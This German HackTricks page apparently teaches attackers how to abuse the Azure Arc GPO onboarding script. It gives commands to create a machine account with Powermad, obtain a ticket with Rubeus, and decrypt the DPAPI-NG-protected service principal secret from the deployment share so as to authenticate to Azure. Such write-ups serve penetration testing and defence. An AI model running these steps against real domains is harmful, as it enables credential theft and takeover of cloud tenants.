Az - Arc verwundbares GPO Bereitstellungsskript
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Identifizierung der Probleme
Azure Arc ermöglicht die Integration neuer interner Server (verbundene Domänenserver) in Azure Arc mithilfe der Group Policy Object-Methode. Um dies zu erleichtern, stellt Microsoft ein Bereitstellungstoolkit zur Verfügung, das für den Start des Onboarding-Verfahrens erforderlich ist. Im ArcEnableServerGroupPolicy.zip-Datei finden sich die folgenden Skripte: DeployGPO.ps1, EnableAzureArc.ps1 und AzureArcDeployment.psm1.
Beim Ausführen des DeployGPO.ps1-Skripts werden die folgenden Aktionen ausgeführt:
- Erstellt die Azure Arc Servers Onboarding GPO innerhalb der lokalen Domäne.
- Kopiert das EnableAzureArc.ps1 Onboarding-Skript in den vorgesehenen Netzwerkfreigabe, die für den Onboarding-Prozess erstellt wurde und auch das Windows-Installationspaket enthält.
Beim Ausführen dieses Skripts müssen Systemadministratoren zwei Hauptparameter angeben: ServicePrincipalId und ServicePrincipalClientSecret. Darüber hinaus sind weitere Parameter wie die Domäne, der FQDN des Servers, der die Freigabe hostet, und der Freigabename erforderlich. Weitere Details wie die Mandanten-ID, die Ressourcengruppe und andere notwendige Informationen müssen ebenfalls dem Skript bereitgestellt werden.
Ein verschlüsseltes Geheimnis wird im AzureArcDeploy-Verzeichnis auf der angegebenen Freigabe unter Verwendung der DPAPI-NG-Verschlüsselung generiert. Das verschlüsselte Geheimnis wird in einer Datei mit dem Namen encryptedServicePrincipalSecret gespeichert. Ein Beweis dafür findet sich im DeployGPO.ps1-Skript, wo die Verschlüsselung durch den Aufruf von ProtectBase64 mit $descriptor und $ServicePrincipalSecret als Eingaben erfolgt. Der Descriptor besteht aus den SID der Domain Computer und der Domain Controller-Gruppe, wodurch sichergestellt wird, dass das ServicePrincipalSecret nur von den Sicherheitsgruppen der Domain Controller und Domain Computer entschlüsselt werden kann, wie in den Kommentaren des Skripts vermerkt.
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
$descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)
Exploit
Wir haben die folgenden Bedingungen:
- Wir haben erfolgreich das interne Netzwerk durchdrungen.
- Wir haben die Fähigkeit, ein Computer-Konto innerhalb von Active Directory zu erstellen oder die Kontrolle darüber zu übernehmen.
- Wir haben einen Netzwerkfreigabe entdeckt, die das AzureArcDeploy-Verzeichnis enthält.
Es gibt mehrere Methoden, um ein Maschinenkonto in einer AD-Umgebung zu erhalten. Eine der häufigsten ist die Ausnutzung des Maschinenkonto-Quotas. Eine andere Methode besteht darin, ein Maschinenkonto durch verwundbare ACLs oder verschiedene andere Fehlkonfigurationen zu kompromittieren.
Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
Sobald ein Maschinenkonto erlangt wurde, ist es möglich, sich mit diesem Konto zu authentifizieren. Wir können entweder den Befehl runas.exe mit dem netonly-Flag verwenden oder Pass-the-Ticket mit Rubeus.exe nutzen.
runas /user:fake01$ /netonly powershell
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
Indem wir das TGT für unser Computer-Konto im Speicher haben, können wir das folgende Skript verwenden, um das Geheimnis des Dienstprinzipals zu entschlüsseln.
Import-Module .\AzureArcDeployment.psm1
$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"
$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
$ebs
Alternativ können wir SecretManagement.DpapiNG verwenden.
An diesem Punkt können wir die verbleibenden Informationen sammeln, die benötigt werden, um eine Verbindung zu Azure herzustellen, aus der ArcInfo.json-Datei, die sich im selben Netzwerkfreigabe wie die encryptedServicePrincipalSecret-Datei befindet. Diese Datei enthält Details wie: TenantId, servicePrincipalClientId, ResourceGroup und mehr. Mit diesen Informationen können wir Azure CLI verwenden, um uns als der kompromittierte Dienstprinzipal zu authentifizieren.
References
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.